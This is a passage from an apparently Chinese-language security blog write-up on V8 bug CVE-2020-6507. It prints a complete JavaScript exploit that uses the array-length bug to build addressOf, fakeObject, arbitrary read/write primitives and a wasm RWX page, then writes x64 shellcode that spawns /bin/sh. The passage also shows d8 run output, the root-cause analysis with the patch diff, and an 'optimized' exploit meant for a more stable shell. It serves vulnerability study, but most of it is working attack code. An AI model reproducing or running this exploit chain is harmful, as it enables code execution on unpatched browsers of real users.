class="number">0</span>,<span class="number">0</span>,<span class="number">5</span>,<span class="number">131</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">6</span>,<span class="number">129</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">7</span>,<span class="number">145</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">6</span>,<span class="number">109</span>,<span class="number">101</span>,<span class="number">109</span>,<span class="number">111</span>,<span class="number">114</span>,<span class="number">121</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">109</span>,<span class="number">97</span>,<span class="number">105</span>,<span class="number">110</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">10</span>,<span class="number">138</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">65</span>,<span class="number">42</span>,<span class="number">11</span>]);</span><br><span class="line"><span class="keyword">var</span> wasmModule = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Module</span>(wasmCode);</span><br><span class="line"><span class="keyword">var</span> wasmInstance = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Instance</span>(wasmModule, &#123;&#125;);</span><br><span class="line"><span class="keyword">var</span> f = wasmInstance.<span class="property">exports</span>.<span class="property">main</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> f64 = <span class="keyword">new</span> <span class="title class_">Float64Array</span>(<span class="number">1</span>);</span><br><span class="line"><span class="keyword">var</span> bigUint64 = <span class="keyword">new</span> <span class="title class_">BigUint64Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"><span class="keyword">var</span> u32 = <span class="keyword">new</span> <span class="title class_">Uint32Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> double_array = [<span class="number">2.1</span>];</span><br><span class="line"><span class="keyword">var</span> obj = &#123;<span class="string">&quot;a&quot;</span>:<span class="number">1</span>&#125;;</span><br><span class="line"><span class="keyword">var</span> obj_array = [obj];</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">float_to_int</span>(<span class="params">f</span>)  </span><br><span class="line">&#123;  </span><br><span class="line">    f64[<span class="number">0</span>] = f;  </span><br><span class="line">    <span class="keyword">return</span> bigUint64[<span class="number">0</span>];  </span><br><span class="line">&#125;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">function</span> <span class="title function_">int_to_float</span>(<span class="params">i</span>)  </span><br><span class="line">&#123;  </span><br><span class="line">    bigUint64[<span class="number">0</span>] = i;  </span><br><span class="line">    <span class="keyword">return</span> f64[<span class="number">0</span>];  </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">array = <span class="title class_">Array</span>(<span class="number">0x40000</span>).<span class="title function_">fill</span>(<span class="number">1.1</span>);</span><br><span class="line">args = <span class="title class_">Array</span>(<span class="number">0x100</span> - <span class="number">1</span>).<span class="title function_">fill</span>(array);</span><br><span class="line">args.<span class="title function_">push</span>(<span class="title class_">Array</span>(<span class="number">0x40000</span> - <span class="number">4</span>).<span class="title function_">fill</span>(<span class="number">2.2</span>));</span><br><span class="line">giant_array = <span class="title class_">Array</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">concat</span>.<span class="title function_">apply</span>([], args);</span><br><span class="line">giant_array.<span class="title function_">splice</span>(giant_array.<span class="property">length</span>, <span class="number">0</span>, <span class="number">3.3</span>, <span class="number">3.3</span>, <span class="number">3.3</span>);</span><br><span class="line"></span><br><span class="line">length_as_double =</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">Float64Array</span>(<span class="keyword">new</span> <span class="title class_">BigUint64Array</span>([<span class="number">0x2424242408902641n</span>]).<span class="property">buffer</span>)[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">trigger</span>(<span class="params">array</span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> x = array.<span class="property">length</span>;</span><br><span class="line">  x -= <span class="number">67108861</span>;</span><br><span class="line">  x = <span class="title class_">Math</span>.<span class="title function_">max</span>(x, <span class="number">0</span>);</span><br><span class="line">  x *= <span class="number">6</span>;</span><br><span class="line">  x -= <span class="number">5</span>;</span><br><span class="line">  x = <span class="title class_">Math</span>.<span class="title function_">max</span>(x, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">let</span> corrupting_array = [<span class="number">0.1</span>, <span class="number">0.1</span>];</span><br><span class="line">  <span class="keyword">let</span> corrupted_array = [<span class="number">0.1</span>];</span><br><span class="line"></span><br><span class="line">  corrupting_array[x] = length_as_double;</span><br><span class="line">  <span class="keyword">return</span> [corrupting_array, corrupted_array];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">80000</span>; ++i) &#123;</span><br><span class="line">  <span class="title function_">trigger</span>(giant_array);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">corrupted_array = <span class="title function_">trigger</span>(giant_array)[<span class="number">1</span>];</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;corrupted array length: &#x27;</span> + corrupted_array.<span class="property">length</span>.<span class="title function_">toString</span>(<span class="number">16</span>));</span><br><span class="line">%<span class="title class_">DebugPrint</span>(double_array);</span><br><span class="line"><span class="keyword">var</span> double_array_map = <span class="title function_">float_to_int</span>(corrupted_array[<span class="number">0</span>]);</span><br><span class="line"><span class="keyword">var</span> obj_array_map = <span class="title function_">float_to_int</span>(corrupted_array[<span class="number">4</span>]);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">addressOf</span>(<span class="params">target_var</span>)</span><br><span class="line">&#123;</span><br><span class="line">    obj_array[<span class="number">0</span>] = target_var;</span><br><span class="line">    corrupted_array[<span class="number">4</span>] = <span class="title function_">int_to_float</span>(double_array_map);</span><br><span class="line">    <span class="keyword">let</span> target_var_address = <span class="title function_">float_to_int</span>(obj_array[<span class="number">0</span>])-<span class="number">1n</span>;</span><br><span class="line">    corrupted_array[<span class="number">4</span>] = <span class="title function_">int_to_float</span>(obj_array_map);</span><br><span class="line">    <span class="keyword">return</span> target_var_address;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fakeObject</span>(<span class="params">target_var</span>)</span><br><span class="line">&#123;</span><br><span class="line">    double_array[<span class="number">0</span>] = <span class="title function_">int_to_float</span>(target_var+<span class="number">1n</span>);</span><br><span class="line">    corrupted_array[<span class="number">0</span>] = <span class="title function_">int_to_float</span>(obj_array_map);</span><br><span class="line">    <span class="keyword">let</span> fake_obj = double_array[<span class="number">0</span>];</span><br><span class="line">    corrupted_array[<span class="number">0</span>] = <span class="title function_">int_to_float</span>(double_array_map);</span><br><span class="line">    <span class="keyword">return</span> fake_obj;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> fake_array = [<span class="title function_">int_to_float</span>(double_array_map), <span class="title function_">int_to_float</span>(<span class="number">0x4141414141414141n</span>)]</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">AAR</span>(<span class="params">addr</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> fake_obj_addr = <span class="title function_">addressOf</span>(fake_array)+<span class="number">0x34n</span>;</span><br><span class="line">    fake_array[<span class="number">1</span>] = <span class="title function_">int_to_float</span>(addr-<span class="number">8n</span>+<span class="number">1n</span>);</span><br><span class="line">    <span class="keyword">let</span> fake_obj = <span class="title function_">fakeObject</span>(fake_obj_addr+<span class="number">8n</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">float_to_int</span>(fake_obj[<span class="number">0</span>]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">AAW</span>(<span class="params">addr, value</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> fake_obj_addr = <span class="title function_">addressOf</span>(fake_array)+<span class="number">0x34n</span>;</span><br><span class="line">    fake_array[<span class="number">1</span>] = <span class="title function_">int_to_float</span>(addr-<span class="number">8n</span>+<span class="number">1n</span>);</span><br><span class="line">    <span class="keyword">var</span> fake_obj = <span class="title function_">fakeObject</span>(fake_obj_addr+<span class="number">8n</span>);</span><br><span class="line">    fake_obj[<span class="number">0</span>] = <span class="title function_">int_to_float</span>(value);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">shellcode_write</span>(<span class="params">addr,shellcode</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> data_buf = <span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(shellcode.<span class="property">length</span>*<span class="number">8</span>);</span><br><span class="line">    <span class="keyword">var</span> data_view = <span class="keyword">new</span> <span class="title class_">DataView</span>(data_buf);</span><br><span class="line">    <span class="keyword">var</span> buf_backing_store_addr=<span class="title function_">addressOf</span>(data_buf)+<span class="number">0x14n</span>;</span><br><span class="line">    <span class="title function_">AAW</span>(buf_backing_store_addr,addr);</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i=<span class="number">0</span>;i&lt;shellcode.<span class="property">length</span>;++i)</span><br><span class="line">        data_view.<span class="title function_">setFloat64</span>(i*<span class="number">8</span>,<span class="title function_">int_to_float</span>(shellcode[i]),<span class="literal">true</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(double_array_map.<span class="title function_">toString</span>(<span class="number">16</span>));</span><br><span class="line">%<span class="title class_">DebugPrint</span>(fake_array);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> wasmInstanceAddr = <span class="title function_">addressOf</span>(wasmInstance);</span><br><span class="line"><span class="keyword">var</span> rwx_addr = <span class="title function_">AAR</span>(wasmInstanceAddr+<span class="number">0x68n</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//Linux x64</span></span><br><span class="line"><span class="keyword">var</span> shellcode = [  </span><br><span class="line">  <span class="number">0x2fbb485299583b6an</span>,  </span><br><span class="line">  <span class="number">0x5368732f6e69622fn</span>,  </span><br><span class="line">  <span class="number">0x050f5e5457525f54n</span>  </span><br><span class="line">];</span><br><span class="line"><span class="title function_">shellcode_write</span>(rwx_addr, shellcode);</span><br><span class="line"><span class="title function_">f</span>();</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br></pre></td></tr></table></figure></div><p>进行多次尝试后，成功执行</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">fuzz@ubuntu:~/v8/out/x64_8.3.110.9.release$ ./d8 --allow-natives-syntax ~/CVE/CVE-2020-6507/poc.js </span><br><span class="line">corrupted array length: 12121212</span><br><span class="line">DebugPrint: 0xe4108902649: [JSArray] in OldSpace</span><br><span class="line"> - map: 0x0e4108241891 &lt;Map(PACKED_DOUBLE_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x0e41082091e1 &lt;JSArray[0]&gt;</span><br><span class="line"> - elements: 0x0e410890569d &lt;FixedDoubleArray[1]&gt; [PACKED_DOUBLE_ELEMENTS]</span><br><span class="line"> - length: 1</span><br><span class="line"> - properties: 0x0e41080406e9 &lt;FixedArray[0]&gt; &#123;</span><br><span class="line">    #length: 0x0e4108180165 &lt;AccessorInfo&gt; (const accessor descriptor)</span><br><span class="line"> &#125;</span><br><span class="line"> - elements: 0x0e410890569d &lt;FixedDoubleArray[1]&gt; &#123;</span><br><span class="line">           0: 2.1</span><br><span class="line"> &#125;</span><br><span class="line">0xe4108241891: [Map]</span><br><span class="line"> - type: JS_ARRAY_TYPE</span><br><span class="line"> - instance size: 16</span><br><span class="line"> - inobject properties: 0</span><br><span class="line"> - elements kind: PACKED_DOUBLE_ELEMENTS</span><br><span class="line"> - unused property fields: 0</span><br><span class="line"> - enum length: invalid</span><br><span class="line"> - back pointer: 0x0e4108241869 &lt;Map(HOLEY_SMI_ELEMENTS)&gt;</span><br><span class="line"> - prototype_validity cell: 0x0e4108180451 &lt;Cell value= 1&gt;</span><br><span class="line"> - instance descriptors #1: 0x0e4108209869 &lt;DescriptorArray[1]&gt;</span><br><span class="line"> - transitions #1: 0x0e41082098b5 &lt;TransitionArray[4]&gt;Transition array #1:</span><br><span class="line">     0x0e4108042eb9 &lt;Symbol: (elements_transition_symbol)&gt;: (transition to HOLEY_DOUBLE_ELEMENTS) -&gt; 0x0e41082418b9 &lt;Map(HOLEY_DOUBLE_ELEMENTS)&gt;</span><br><span class="line"></span><br><span class="line"> - prototype: 0x0e41082091e1 &lt;JSArray[0]&gt;</span><br><span class="line"> - constructor: 0x0e41082090b5 &lt;JSFunction Array (sfi = 0xe4108188e45)&gt;</span><br><span class="line"> - dependent code: 0x0e41080401ed &lt;Other heap object (WEAK_FIXED_ARRAY_TYPE)&gt;</span><br><span class="line"> - construction counter: 0</span><br><span class="line"></span><br><span class="line">80406e908241891</span><br><span class="line">DebugPrint: 0xe4108484595: [JSArray]</span><br><span class="line"> - map: 0x0e4108241891 &lt;Map(PACKED_DOUBLE_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x0e41082091e1 &lt;JSArray[0]&gt;</span><br><span class="line"> - elements: 0x0e41084845c9 &lt;FixedDoubleArray[2]&gt; [PACKED_DOUBLE_ELEMENTS]</span><br><span class="line"> - length: 2</span><br><span class="line"> - properties: 0x0e41080406e9 &lt;FixedArray[0]&gt; &#123;</span><br><span class="line">    #length: 0x0e4108180165 &lt;AccessorInfo&gt; (const accessor descriptor)</span><br><span class="line"> &#125;</span><br><span class="line"> - elements: 0x0e41084845c9 &lt;FixedDoubleArray[2]&gt; &#123;</span><br><span class="line">           0: 4.7386e-270</span><br><span class="line">           1: 2.26163e+06</span><br><span class="line"> &#125;</span><br><span class="line">0xe4108241891: [Map]</span><br><span class="line"> - type: JS_ARRAY_TYPE</span><br><span class="line"> - instance size: 16</span><br><span class="line"> - inobject properties: 0</span><br><span class="line"> - elements kind: PACKED_DOUBLE_ELEMENTS</span><br><span class="line"> - unused property fields: 0</span><br><span class="line"> - enum length: invalid</span><br><span class="line"> - back pointer: 0x0e4108241869 &lt;Map(HOLEY_SMI_ELEMENTS)&gt;</span><br><span class="line"> - prototype_validity cell: 0x0e4108180451 &lt;Cell value= 1&gt;</span><br><span class="line"> - instance descriptors #1: 0x0e4108209869 &lt;DescriptorArray[1]&gt;</span><br><span class="line"> - transitions #1: 0x0e41082098b5 &lt;TransitionArray[4]&gt;Transition array #1:</span><br><span class="line">     0x0e4108042eb9 &lt;Symbol: (elements_transition_symbol)&gt;: (transition to HOLEY_DOUBLE_ELEMENTS) -&gt; 0x0e41082418b9 &lt;Map(HOLEY_DOUBLE_ELEMENTS)&gt;</span><br><span class="line"></span><br><span class="line"> - prototype: 0x0e41082091e1 &lt;JSArray[0]&gt;</span><br><span class="line"> - constructor: 0x0e41082090b5 &lt;JSFunction Array (sfi = 0xe4108188e45)&gt;</span><br><span class="line"> - dependent code: 0x0e41080401ed &lt;Other heap object (WEAK_FIXED_ARRAY_TYPE)&gt;</span><br><span class="line"> - construction counter: 0</span><br><span class="line"></span><br><span class="line">$ </span><br><span class="line"></span><br></pre></td></tr></table></figure></div><h2 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h2><p>完成了漏洞的利用，接下来深入了解一下漏洞是如何形成的。此漏洞的详细信息可以直接看<a class="link"   href="https://issues.chromium.org/issues/40052419" >https://issues.chromium.org/issues/40052419<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p>接下来对POC进行解释</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">array = <span class="title class_">Array</span>(<span class="number">0x40000</span>).<span class="title function_">fill</span>(<span class="number">1.1</span>);</span><br><span class="line">args = <span class="title class_">Array</span>(<span class="number">0x100</span> - <span class="number">1</span>).<span class="title function_">fill</span>(array);</span><br><span class="line">args.<span class="title function_">push</span>(<span class="title class_">Array</span>(<span class="number">0x40000</span> - <span class="number">4</span>).<span class="title function_">fill</span>(<span class="number">2.2</span>));</span><br><span class="line">giant_array = <span class="title class_">Array</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">concat</span>.<span class="title function_">apply</span>([], args);</span><br><span class="line">giant_array.<span class="title function_">splice</span>(giant_array.<span class="property">length</span>, <span class="number">0</span>, <span class="number">3.3</span>, <span class="number">3.3</span>, <span class="number">3.3</span>);</span><br></pre></td></tr></table></figure></div><p>在上述代码中，首先创建长度为0x40000大小的array，然后乘以0xFF，再加入0x3FFFC大小，最后利用splice方法加入3个元素，这样算下来<code>giant_array</code>的长度为<code>0x40000*0xff+0x3fffc+3=67108863</code>，但是V8规定浮点数组的大小最大为<code>67108862</code></p><p>来看diff文件</p><div class="code-container" data-rel="Diff"><figure class="iseeu highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@@ -141,8 +141,15 @@</span></span><br><span class="line">           ConstantIterator(kDoubleHole)));</span><br><span class="line"> &#125;</span><br><span class="line"> </span><br><span class="line"><span class="addition">+namespace runtime &#123;</span></span><br><span class="line"><span class="addition">+extern runtime FatalProcessOutOfMemoryInvalidArrayLength(NoContext): never;</span></span><br><span class="line"><span class="addition">+&#125;</span></span><br><span class="line"><span class="addition">+</span></span><br><span class="line"> macro NewFixedArray&lt;Iterator: type&gt;(length: intptr, it: Iterator): FixedArray &#123;</span><br><span class="line">   if (length == 0) return kEmptyFixedArray;</span><br><span class="line"><span class="addition">+  if (length &gt; kFixedArrayMaxLength) deferred &#123;</span></span><br><span class="line"><span class="addition">+      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);</span></span><br><span class="line"><span class="addition">+    &#125;</span></span><br><span class="line">   return new</span><br><span class="line">   FixedArray&#123;map: kFixedArrayMap, length: Convert&lt;Smi&gt;(length), objects: ...it&#125;;</span><br><span class="line"> &#125;</span><br><span class="line"><span class="meta">@@ -150,6 +157,9 @@</span></span><br><span class="line"> macro NewFixedDoubleArray&lt;Iterator: type&gt;(</span><br><span class="line">     length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray &#123;</span><br><span class="line">   if (length == 0) return kEmptyFixedArray;</span><br><span class="line"><span class="addition">+  if (length &gt; kFixedDoubleArrayMaxLength) deferred &#123;</span></span><br><span class="line"><span class="addition">+      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);</span></span><br><span class="line"><span class="addition">+    &#125;</span></span><br><span class="line">   return new FixedDoubleArray&#123;</span><br><span class="line">     map: kFixedDoubleArrayMap,</span><br><span class="line">     length: Convert&lt;Smi&gt;(length),</span><br></pre></td></tr></table></figure></div><p>发现对Array加入了最大长度检查，说明原来的版本未处理数组越界。</p><p>继续看POC中的trigger函数</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">length_as_double =</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">Float64Array</span>(<span class="keyword">new</span> <span class="title class_">BigUint64Array</span>([<span class="number">0x2424242400000000n</span>]).<span class="property">buffer</span>)[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">trigger</span>(<span class="params">array</span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> x = array.<span class="property">length</span>;</span><br><span class="line">  x -= <span class="number">67108861</span>;</span><br><span class="line">  x = <span class="title class_">Math</span>.<span class="title function_">max</span>(x, <span class="number">0</span>);</span><br><span class="line">  x *= <span class="number">6</span>;</span><br><span class="line">  x -= <span class="number">5</span>;</span><br><span class="line">  x = <span class="title class_">Math</span>.<span class="title function_">max</span>(x, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">let</span> corrupting_array = [<span class="number">0.1</span>, <span class="number">0.1</span>];</span><br><span class="line">  <span class="keyword">let</span> corrupted_array = [<span class="number">0.1</span>];</span><br><span class="line"></span><br><span class="line">  corrupting_array[x] = length_as_double;</span><br><span class="line">  <span class="keyword">return</span> [corrupting_array, corrupted_array];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">30000</span>; ++i) &#123;</span><br><span class="line">  <span class="title function_">trigger</span>(giant_array);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><code>array</code>的长度为<code>67108863</code>，经过<code>x -= 67108861</code>之后<code>x = 2</code>，但V8会认为<code>array</code>的最大长度为<code>67108862</code>，那么它认为x的最大值为1。再经过<code>x = Math.max(x, 0)</code>得到<code>x = 2</code>，而V8认为x最大值为1，最小值为0。并且经过后续<code>x *= 6; x -= 5; x = Math.max(x, 0);</code>，实际值<code>x = 7</code>，但V8认为x的值只能为0或1，显然在<code>corrupting_array</code>的边界内，然后再大量执行该函数，V8便会标记该函数，并进行优化，最终导致的结果就是去除array的边界检查，直接对对应位置进行赋值。即<code>corrupting_array[7] = length_as_double</code>，而<code>corrupting_array[7]</code>对应位置即为<code>corrupted_array</code>的<code>elements</code>和<code>length</code>值</p><p>在了解了漏洞原理之后，我们可以尝试优化exp来实现相对稳定的getshell</p><h2 id="exp优化"><a href="#exp优化" class="headerlink" title="exp优化"></a>exp优化</h2><h3 id="POC优化"><a href="#POC优化" class="headerlink" title="POC优化"></a>POC优化</h3><p>原来的poc对<code>length</code>修改之后会导致<code>elements</code>成员也被修改，从而需要不断写入目标低32bit值，优化的目的是使修改<code>length</code>时不再影响<code>elements</code>的值，这样就能继续利用了，优化后的POC如下</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">array = <span class="title class_">Array</span>(<span class="number">0x40000</span>).<span class="title function_">fill</span>(<span class="number">1.1</span>);</span><br><span class="line">args = <span class="title class_">Array</span>(<span class="number">0x100</span> - <span class="number">1</span>).<span class="title function_">fill</span>(array);</span><br><span class="line">args.<span class="title function_">push</span>(<span class="title class_">Array</span>(<span class="number">0x40000</span> - <span class="number">4</span>).<span class="title function_">fill</span>(<span class="number">2.2</span>));</span><br><span class="line">giant_array = <span class="title class_">Array</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">concat</span>.<span class="title function_">apply</span>([], args);</span><br><span class="line">giant_array.<span class="title function_">splice</span>(giant_array.<span class="property">length</span>, <span class="number">0</span>, <span class="number">3.3</span>, <span class="number">3.3</span>, <span class="number">3.3</span>, <span class="number">3.3</span>);</span><br><span class="line"></span><br><span class="line">length_as_double =</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">Float64Array</span>(<span class="keyword">new</span> <span class="title class_">BigUint64Array</span>([<span class="number">0x24242424n</span>]).<span class="property">buffer</span>)[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">trigger</span>(<span class="params">array</span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> x = array.<span class="property">length</span>;</span><br><span class="line">  x -= <span class="number">67108861</span>;</span><br><span class="line">  x = <span class="title class_">Math</span>.<span class="title function_">max</span>(x, <span class="number">0</span>);</span><br><span class="line">  x *= <span class="number">5</span>;</span><br><span class="line">  x -= <span class="number">4</span>;</span><br><span class="line">  x = <span class="title class_">Math</span>.<span class="title function_">max</span>(x, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">let</span> corrupting_array = [<span class="number">0.1</span>, <span class="number">0.1</span>];</span><br><span class="line">  <span class="keyword">let</span> a = [corrupting_array];</span><br><span class="line">  <span class="keyword">let</span> corrupted_array = [<span class="number">0.1</span>];</span><br><span class="line"></span><br><span class="line">  corrupting_array[x] = length_as_double;</span><br><span class="line">  <span class="keyword">return</span> [corrupting_array, a, corrupted_array];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">50000</span>; ++i) &#123;</span><br><span class="line">  <span class="title function_">trigger</span>(giant_array);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> corrupted_array = <span class="title function_">trigger</span>(giant_array)[<span class="number">2</span>];</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;corrupted array length: &#x27;</span> + corrupted_array.<span class="property">length</span>.<span class="title function_">toString</span>(<span class="number">16</span>));</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br></pre></td></tr></table></figure></div><p>我将<code>splice</code>加入的元素数量改到了4个，这样在<code>trigger</code>函数中，数组赋值位置会变为<code>corrupting_array[11]</code>，而在<code>trigger</code>函数中，我加入了一个<code>a</code>变量，其<code>elements</code>结构中的<code>value</code>只占4字节，便会将<code>corrupted_array</code>的地址错位4字节，从而使得在修改<code>length</code>时不会再修改<code>elements</code></p><p>执行结果仍为</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">fuzz@ubuntu:~/v8/out/x64_8.3.110.9.release$ ./d8 --allow-natives-syntax ~/CVE/CVE-2020-6507/exp2.js </span><br><span class="line">corrupted array length: 12121212</span><br><span class="line">追踪与中断点陷阱 (核心已转储)</span><br></pre></td></tr></table></figure></div><h3 id="exp2"><a href="#exp2" class="headerlink" title="exp2"></a>exp2</h3><p>只需要调试一下，看下各个对象在内存中相对<code>corrupted_array</code>的偏移，稍加改动即可。</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span 